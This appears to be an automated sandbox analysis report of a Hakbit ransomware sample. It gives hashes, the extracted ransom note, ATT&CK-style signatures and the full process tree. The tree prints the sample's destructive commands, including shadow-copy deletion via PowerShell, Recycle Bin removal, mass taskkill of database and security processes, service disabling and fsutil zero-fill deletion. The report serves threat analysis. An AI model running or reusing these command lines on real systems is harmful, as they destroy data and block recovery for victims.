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11-11-2024 05:34

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Analysis

  • max time kernel
    122s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08-11-2024 08:59

General

  • Target

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

  • SSDEEP

    1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: LPDB1Q0X79SsmkD0Y4iX2GLAtoGv0g0wRGU8MKSxotXAJziq1n/TDKSzP1j3FYO2uYPcqVexJXxufsphlyysCwBE2/K5ON7Dhu//+GrsycTs3XsclGANKrspe+sIcl5al4fdE3O4gaWcNn+ts5Z2dMX26K+OBWe1wH7Y7WOPxcv+7O0HoSp0nz7GiU/p+K73iWdOMVxTMfc89Shfmgl+4q8f4jwl63JmoIqVcIk/dxdHubQ+e9KE8vfO20lRp4agqT3FeY67Zre+5h4WccY1/rQOquW3QesrWp1BYxCH/A8XGT5HAF5GZJuGU7+2X7JMBMY4LwV72L+o6Il1ghZbuoO0DYTwuN3IOwL8f2F8bNQF59oqfDEu2iYZZjiHDi6+JIK96/pChuiBR6I14y19IzeQqz8akETlqv3hbwHyjvHx1v4F/PhfwrCTmERpmjiM/1l+vwIDQ75By1lBtlpz43HwnqoFjje2NzGnIiPXKKZRrVGBCTE8uvplCSzMKsV5Aa0oaUIFlRiOVGt9mfVblbOu2DZ7rLPirLzCVtXOnExdRUVj7WstDBz9RD7P4W4bwbljKj/fuQToK6+Hs0YvphUU06boVKcRH8Dm+hF+aaSMXAOVonZaQ2BhAjhm6djdNnObNMufwBcsFf5nhmVkZl+tvzZWbFPdyySyh2j61k8= Number of files that were processed is: 492

Signatures

  • Disables service(s) 3 TTPs
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Hakbit family
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2348
    • C:\Windows\system32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
      • Launches sc.exe
      PID:2480
    • C:\Windows\system32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:2072
      • C:\Windows\system32\sc.exe
        "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
        2⤵
        • Launches sc.exe
        PID:2352
      • C:\Windows\system32\sc.exe
        "sc.exe" config SQLWriter start= disabled
        2⤵
        • Launches sc.exe
        PID:484
      • C:\Windows\system32\sc.exe
        "sc.exe" config SstpSvc start= disabled
        2⤵
        • Launches sc.exe
        PID:2264
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2652
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2268
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2260
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mysqld.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2784
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqbcoreservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2788
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM firefoxconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2820
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM agntsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2816
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM thebat.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2720
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM steam.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2664
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM encsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2560
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM excel.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2840
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM CNTAoSMgr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2588
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlwriter.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2580
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM tbirdconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2576
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM dbeng50.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2592
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM thebat64.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:620
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM ocomm.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2828
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM infopath.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2836
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mbamtray.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2676
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM zoolz.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2768
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" IM thunderbird.exe /F
        2⤵
        • Kills process with taskkill
        PID:2564
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM dbsnmp.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2600
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM xfssvccon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:592
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1236
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM Ntrtscan.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3040
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM isqlplussvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1464
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM onenote.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2604
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM PccNTMon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1936
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM msaccess.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2220
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM outlook.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2172
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM tmlisten.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2108
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM msftesql.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1512
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM powerpnt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1128
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1604
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM visio.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3024
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2044
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM winword.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:844
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mysqld-nt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:976
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM wordpad.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1384
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mysqld-opt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1596
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM ocautoupds.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1872
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM ocssd.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2000
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM oracle.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1924
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlagent.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1708
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlbrowser.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2756
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlservr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1308
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM synctime.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1316
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:332
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:3104
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.7 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3880
        • C:\Windows\system32\fsutil.exe
          fsutil file setZeroData offset=0 length=524288 “%s”
          3⤵
            PID:2224
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
          2⤵
          • Deletes itself
          PID:2916
          • C:\Windows\system32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3180

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\Microsoft\Assistance\Client\1.0\es-ES\Help_MValidator.Lck.energy[[email protected]]

          Filesize

          4KB

          MD5

          d3c03fb4d72eb05dd7c044a3d09cf17b

          SHA1

          7bd1b535c1bd433173227377fd2ebf8619fadc41

          SHA256

          1f97130a3bdb2bf29be5f09f6eacc0b3dc868252ac421b3acf47cb369d5ada6c

          SHA512

          eac32f8d7362ea7ff01cfdb87d77aa1fb65728544de01098fddd5d17dd5d2f2673b9ddc87840b271ec0ae98b1ed10de9b5c10d0507b9a85635d34c6f5ab6e4a0

        • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

          Filesize

          180KB

          MD5

          7ad71d43727c06c8f0465b8d2d088b7b

          SHA1

          6fcc3fdaa853eb52f2230ec2d0c1fb608889f903

          SHA256

          6ea70debc16df747458437d443f962c63cbde611acecdf8c883b087148994bd0

          SHA512

          68d2b663ab2e45e0919e317b3f4abcbf71efdb2e8b2764b38d81ca709e3f4dd1800a5f170c7fe1180b0bc2bbbf9274a562bf3c8ff5083c3234ba4d79d597da9e

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          ee677fa591c76fcbadb40bbae5c24f59

          SHA1

          a2b40986b59b28dc14a641f4d9173b0bf1a967d2

          SHA256

          b74fa6628a3f2babbbbdd2a1b7e503cc9986421a25594b66e49b5631fa21f8a7

          SHA512

          49defe32a975d84ab6ac5f21009cafbbf7f4c8e0d1003912e207637ac628adfcf778f8539a2c1adb8547e208e70c61791302ca808deae90830b3a015ce4c143c

        • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

          Filesize

          828B

          MD5

          3d95aa64521728a0ea5a2de914190650

          SHA1

          25bafad098676762557bfcad977fa8700416f042

          SHA256

          6cf094ac0056bf4efc588eb07cf8aba348d42995902a0df0fa8a8966125d939a

          SHA512

          a784abab4720636bc254e1ab471b0523b90c852055d5c8136cfa72a65f312e997e70181892c656d7e38333bd6b781215322609e2ae48245430dc5b4990408b51

        • C:\Users\Admin\Documents\UnlockMount.xlsx.energy[[email protected]]

          Filesize

          11KB

          MD5

          745e8566eb796de52c4cac073e734952

          SHA1

          5208084bddfd39ca207196ba8d3d3044643e3b3c

          SHA256

          d6c8bd5ee34e3b2249dc03fbe3119e36d4713f23c29c409208e801f89f9a1b84

          SHA512

          6b45dbba821f8f8941496519648b6d28758038002777e4720ab91f7a40548ce8a8608fbfb7c53b06ad2525e78ecdf074b01e32f2ccf59ad3a5b2085d8062455e

        • memory/1316-8-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

          Filesize

          2.9MB

        • memory/1316-9-0x0000000001CF0000-0x0000000001CF8000-memory.dmp

          Filesize

          32KB

        • memory/2348-128-0x000007FEF55F3000-0x000007FEF55F4000-memory.dmp

          Filesize

          4KB

        • memory/2348-140-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

          Filesize

          9.9MB

        • memory/2348-0-0x000007FEF55F3000-0x000007FEF55F4000-memory.dmp

          Filesize

          4KB

        • memory/2348-2-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

          Filesize

          9.9MB

        • memory/2348-1-0x00000000012C0000-0x00000000012DA000-memory.dmp

          Filesize

          104KB

        • memory/2348-615-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

          Filesize

          9.9MB